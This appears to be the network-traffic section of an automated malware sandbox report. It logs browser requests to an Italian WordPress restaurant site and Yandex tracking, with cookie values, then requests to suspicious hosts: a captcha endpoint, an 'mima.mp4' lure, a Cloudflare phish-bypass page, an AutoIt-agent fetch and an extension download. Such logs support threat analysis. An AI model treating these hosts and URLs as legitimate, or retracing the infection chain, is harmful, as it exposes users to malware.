Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/framework/js/conditional_load/avia_google_maps_front.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /images/core/emoji/14.0.0/svg/2705.svg HTTP/1.1Host: s.w.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_decide?token=10611.DeDvDEkh2b6Its9xbNfPHxCK1804kA6_zZJVWLPPWz07-944RJ_J0kYNra_afEkwU03UV0CHnydP5no6KoQ54vkblvuIBsG-969Amgl-cxtmyCk1lkokidjPnkQ91qsTV1SpIOp7NPyr1RezhjfwvFpEDIXtlvS0spqHmtROf1O5xs8i-DVaMexQjDa336P2d5ZAuPOBzBztdoOKKJl7_8M1xV-u-PMh4JytiHCpED4%2C.xOk8KZm_JWiARvYJ6YX-7hS6gpY%2C HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yashr=2978277861735921985; yabs-sid=814606481735921986; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=962763166fake; yandexuid=5258352291735921983; yuidss=5258352291735921983; i=MWn/b3CGBdGz4xwo6ybs8zuB0m6dqTWEZs6SfrZEPLGuS1njVyPf5dksYDS0w6MqEEVqybkB7y6BVJBOmOuiQIuKgyY=; yp=1736008390.yu.8563067781735921985; ymex=1738513990.oyu.8563067781735921985#1767457986.yrts.1735921986; sync_cookie_ok=synced
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.22.19-1051x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /metrika/advert.gif HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yashr=2978277861735921985; yabs-sid=814606481735921986; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=962763166fake; yandexuid=5258352291735921983; yuidss=5258352291735921983; i=MWn/b3CGBdGz4xwo6ybs8zuB0m6dqTWEZs6SfrZEPLGuS1njVyPf5dksYDS0w6MqEEVqybkB7y6BVJBOmOuiQIuKgyY=; yp=1736008390.yu.8563067781735921985; ymex=1738513990.oyu.8563067781735921985#1767457986.yrts.1735921986; sync_cookie_ok=synced
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Dettaglio-della-sala-interna-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /images/core/emoji/14.0.0/svg/2705.svg HTTP/1.1Host: s.w.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/1.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/2.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.53-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Vini-italiani-eccellenti-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/3.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/sfondo_cerchi.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.27.20-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.26.09-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/09/MG_4783-67-copia-2.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.22.19-1051x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.05.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Sala-interna1-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Dettaglio-della-sala-interna-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Vini-italiani-eccellenti-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-template-builder/assets/fonts/entypo-fontello.woff HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cipassoitalia.itsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.53-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.27.20-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.26.09-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Sala-interna1-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-32x32.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.05.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-32x32.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /awjxs.captcha?u=21187cdf-b91f-4f27-aae8-45cec9395e7c HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: solve.jrqr.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mima.mp4 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: t3.awagama.org
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/styles/cf.errors.css HTTP/1.1Accept: /Referer: https://t3.awagama.org/mima.mp4Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: t3.awagama.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1Accept: /Referer: https://t3.awagama.org/mima.mp4Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: t3.awagama.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0IN62CHhpDX0-1735922003-0.0.1.1-%2Fmima.mp4 HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Referer: https://t3.awagama.org/mima.mp4Accept-Language: en-CHUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: t3.awagama.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1User-Agent: AutoItHost: t3.awagama.org
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0IN62CHhpDX0-1735922003-0.0.1.1-%2Fmima.mp4 HTTP/1.1Host: t3.awagama.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: t3.awagama.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://t3.awagama.org/cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0IN62CHhpDX0-1735922003-0.0.1.1-%2Fmima.mp4Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
